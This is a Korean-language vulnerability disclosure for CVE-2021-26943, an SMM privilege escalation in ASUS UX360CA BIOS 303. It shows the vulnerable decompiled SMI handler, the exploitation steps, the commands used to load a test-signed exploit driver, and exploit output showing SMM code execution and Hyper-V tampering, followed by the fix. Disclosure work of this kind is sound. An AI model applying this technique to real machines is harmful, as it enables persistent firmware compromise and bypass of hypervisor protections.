
ASUS UX360CA BIOS 버전 303의 커널-투-SMM 로컬 권한 상승 취약점인 CVE-2021-26943의 보고서와 익스플로잇입니다.
이 문서는 ASUS UX360CA BIOS 버전 303의 커널에서 SMM으로의 로컬 권한 상승 취약점인 CVE-2021-26943에 대한 보고서이자 익스플로잇입니다. 이 문제는 버전 304에서 수정되었습니다.
UX360CA BIOS 버전 303에는 ring0 권한을 가진 공격자가 SMRAM을 포함한 거의 임의의 물리 메모리를 덮어쓰고 SMM에서 임의 코드를 실행할 수 있게 하는 3개의 취약한 모듈이 있습니다.
해당 모듈은 다음과 같이 식별할 수 있습니다:
| 이름 | GUID | SHA256 |
|---|---|---|
| UsbRt | 04EAAAA1-29A1-11D7-8838-00500473D4EB | 8A3DEAFD0A688DD4360A65C98E434180152EB43EB2C913C663F13D5709776781 |
| SdioSmm | EA343100-1A37-4239-A3CB-B92240B935CF | 4578E1E147D846BB925DF881A2A0A3C3F1E6CD2AE033A8B0F769E5EB42783A0A |
| NvmeSmm | E5E2C9D9-5BF5-497E-8860-94F81A09ADE0 | A9C762B13FC9C4156603D674C6DAEBC4369520D95ACB1D0FA976078D6F7F1003 |
해당 모듈은 AMI(BIOS 공급업체)의 것이며 다른 OEM의 BIOS에도 존재할 수 있습니다.
취약한 모듈과 해당 SMI는 UsbRt(0x31), SdioSmm(0x40), NvmeSmm(0x42)입니다. 이 모든 SMI 핸들러는 물리 메모리 주소 0x40E를 읽어 작업할 주소를 얻고, 오류가 발생하면 그 주소가 SMRAM이더라도 해당 주소에 1바이트를 씁니다.
예를 들어, SdioSmm의 SMI 핸들러는 다음과 같습니다:
EFI_STATUS
EFIAPI
SdioSmm_SwSmi_40h(
EFI_HANDLE DispatchHandle,
CONST VOID *Context,
VOID *CommBuffer,
UINTN *CommBufferSize
)
{
// ...
struct_v0 *userControlled = *(0x10 * MEMORY[0x40E] + 0x104);
if ( EFI_ERROR(ValidateBufferIsOutsideSmram(userControlled, sizeof(struct_v0)))
|| userControlled->Offset0_FunctionCode >= 4 )
{
userControlled->Offset2 = 7;
}
else
{
// ...
}
return EFI_SUCCESS;
}
이 문제는 Aptiocalypsis로 훌륭하게 설명된 INTEL-SA-00057과 동일한 것으로 보입니다. 그러나 UX360CA용 BIOS 버전 303에는 이에 대한 수정 사항이 포함되어 있지 않습니다.
이를 통해 물리 메모리에 대한 쓰기 액세스 권한과 OUT 명령어(즉, ring0 권한)를 가진 공격자는 다음 단계로 SMRAM의 내용을 덮어쓸 수 있습니다:
이를 사용하여 다음과 같이 SMM에서 임의 코드 실행을 달성할 수 있습니다:
HKLM\HARDWARE\RESOURCEMAP\System Resources\Loader Reserved의 .Raw 값 내용에서 UEFI 런타임 코드의 물리 주소 범위를 얻습니다.SMM에서의 임의 코드 실행을 통해 공격자는 다른 SMM 취약점 보고서에서 입증된 것처럼 HVCI와 같은 커널 및 하이퍼바이저의 보안 조치를 우회하고 SPI 플래시(BIOS)의 내용을 업데이트하여 지속성을 확립할 수 있습니다.
첨부된 데모 프로젝트는 성공적인 익스플로잇을 시연하고 SMM에서만 접근할 수 있는 MSR의 내용과 EPTP의 물리 주소를 덤프합니다. 또한 Hyper-V 하이퍼바이저의 CPUID VM-Exit 처리 코드를 수정하여 변경된 하이퍼바이저 공급업체 문자열을 반환하도록 합니다.
PoC는 HVCI를 활성화한 상태와 비활성화한 상태 모두에서 Windows 빌드 18362.1256에서 테스트되었습니다.
성공적인 익스플로잇의 녹화 영상은 YouTube에서 볼 수 있습니다.

대상 시스템에서,
> bcdedit /set testsigning on
> sc create demo type= kernel binPath= C:\users\user\desktop\demo.sys
> sc start demo
[+] ReportSmramRange: TSEG implied SMRAM: 0x88400000 - 0x88800000
[-] ReportSmramRange: Exception occurred while accessing SMRR MSR : c0000096
[+] FindSystemManagementServiceTable: SMM core found at 0x87f1b390 in RT Code
[+] FindSystemManagementServiceTable: SMST found at 0x887fa710 in SMRAM
[+] ExploitSmm: Patched SMST->SmmLocateProtocol in SMRAM
[+] ExploitSmm: Placed SMM shell code
[+] ExploitSmm: Triggered SMM exploit
[+] DumpSmmExploitOuput: IA32_SMBASE = 0x887cd000
[+] DumpSmmExploitOuput: MSR_SMM_FEATURE_CONTROL = 0x1
[+] DumpSmmExploitOuput: MSR_SMM_MCA_CAP = 0xc00000000000000
[+] DumpSmmExploitOuput: EPT pointer = 0x10a72001e
[+] DumpSmmExploitOuput: Patched Hv address = 0x1004382f0
[+] ExploitSmm: Successfully executed shell code in SMM. Failing DriverEntry to unload itself
DriverEntry failed 0xc0000120 for driver \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\demo
수정 사항은 아래와 같이 사용자 제어 콘텐츠가 SMRAM 내부를 가리킬 때 이를 전혀 사용하지 않는 것입니다.
{
// ...
struct_v0 *userControlled = *(0x10 * MEMORY[0x40E] + 0x104);
if (!EFI_ERROR(ValidateBufferIsOutsideSmram(userControlled, sizeof(struct_v0))))
{
if (userControlled->Offset0_FunctionCode < 7 )
{
// ...
}
else
{
userControlled->Offset2 = 7;
}
}
return EFI_SUCCESS;
}
이 수정 사항은 현재 업계 모범 사례를 완벽하게 따르며 SMRAM 손상을 초래하는 confused deputy 공격을 방지합니다.
그러나 하이퍼바이저 메모리 영역은 고려하지 않는다는 점에 유의하십시오. 하이퍼바이저가 로드되거나 사용하는 물리 메모리 주소를 아는 공격자는 여전히 SMI를 요청하여 하이퍼바이저 코드 또는 데이터를 덮어쓰고 하이퍼바이저 손상을 달성할 수 있습니다.
이것은 널리 퍼져 있고 오랫동안 존재해 온 설계 수준의 문제이기도 합니다.
보고된 문제는 해결되었지만, 심층 방어 전략을 실행하는 측면에서는 몇 가지 문제가 있었습니다.
예를 들어, SMM 페이지 테이블은 읽기, 쓰기, 실행 권한이 모두 허용된 identity-mapping 방식이며 SMM_Code_Chk_En 기능을 사용할 수 없었습니다. 이로 인해 익스플로잇이 매우 간단해졌습니다. 또한 EDK2에서 볼 수 있듯이 SMM 통신 버퍼가 SmmIsBufferOutsideSmmValid()로 검증되지 않는 것도 확인했지만, 악용 가능한 SMI를 찾지는 못했습니다.
이러한 문제는 OEM 전반과 많은 BIOS 버전에서 공통적으로 나타나는 문제라고 생각합니다. 어떤 OEM의 구형 모델을 사용 중이라면 최신 BIOS 버전에서도 그 BIOS가 기대만큼 안전하지 않을 가능성이 높다는 점을 지적합니다.
이러한 문제가 아주 가까운 시일 내에 사라지지는 않겠지만, 업계에서 SMM 권한을 축소하는 방식의 아키텍처 수준 해결 방안을 모색하고 있다는 점이 반갑습니다. 확인할 수 있는 작업과 문서는 다음과 같습니다:
주요 일정은 다음과 같습니다.
마지막으로, 긴밀하고 투명한 커뮤니케이션을 유지해 준 ASUS 팀에 큰 감사를 전합니다❤ 전체 과정은 빠르지는 않았지만 불편함이 거의 없었습니다.
Hv Tampered!를 반환합니다.
> CheckHvVendor.exe
Executing CPUID(0x40000000) on CPU 0
Result: Hv Tampered!
Executing CPUID(0x40000000) on CPU 1
Result: Hv Tampered!
Executing CPUID(0x40000000) on CPU 2
Result: Hv Tampered!
Executing CPUID(0x40000000) on CPU 3
Result: Hv Tampered!